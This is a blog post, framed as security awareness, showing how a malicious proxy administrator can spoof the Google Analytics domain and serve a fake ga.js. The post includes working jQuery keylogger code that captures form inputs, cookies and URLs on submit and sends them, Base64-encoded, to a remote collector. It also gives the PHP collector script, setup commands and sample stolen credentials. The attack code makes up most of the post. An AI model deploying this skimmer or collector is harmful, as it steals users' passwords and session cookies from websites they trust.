JQlog: JQuery Keylogger, or why not to trust your proxy admin.

Note that this post is for awareness and educational purposes only. I do not encourage, and cannot be held responsible for malicious actions using these tools.

The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page. Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, …). It’s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.

“Overwriting” javascript libraries, or rather “inserting javascript” can be done in several ways. Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and “fake” the ga.js javascript file.

For this, you’d need only 2 files:

This javascript file, found here, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself:

var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href; 
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});

Upon a “form submit” event, the current URL, the current cookie and all the page <input> fields are stored in a JSON object. This is Base64 encoded and passed on to a defined URL (http://www.google-analytics.com/dump.php?a= in this above case).

Functions such as $.ajax() or $.post() would not work due to cross-domain limitations. Henceforth, I used $.getScript to pass on the data to an external URL.

The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case. This script (here) stores the current date, and a dump of all passed on variables in a defined text file.

  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }  
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);

Since it decodes a JSON object, dump.php will require JSON support, this can be installed using pear. Debian, it’s done using the following:

  apt-get install php-pear
  pear install Services_JSON

To verify this, you will see a JSON entry in the phpinfo() output.

When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all <form> submits should be recorded in the text file, in the form of:

on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
name : user
pass : secret1552
_empty_ : Password
op : 
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text : 

No, this is no hack against Google Analytics or 7days, the latter is something that would look slightly different. 🙂

Although this example uses Google Analytics, it could be used for many other “popular” javascripts that are included in terms of widgets. The handy things about Google Analytics is that it’s invisible to the user whether it is loaded or not.

Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them. Always make sure you can trust your proxy administrators.

Thank you,
Michael

PS: these scripts are far from perfect, they don’t trap XHR requests and many other things, but it gets the point across.

4 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *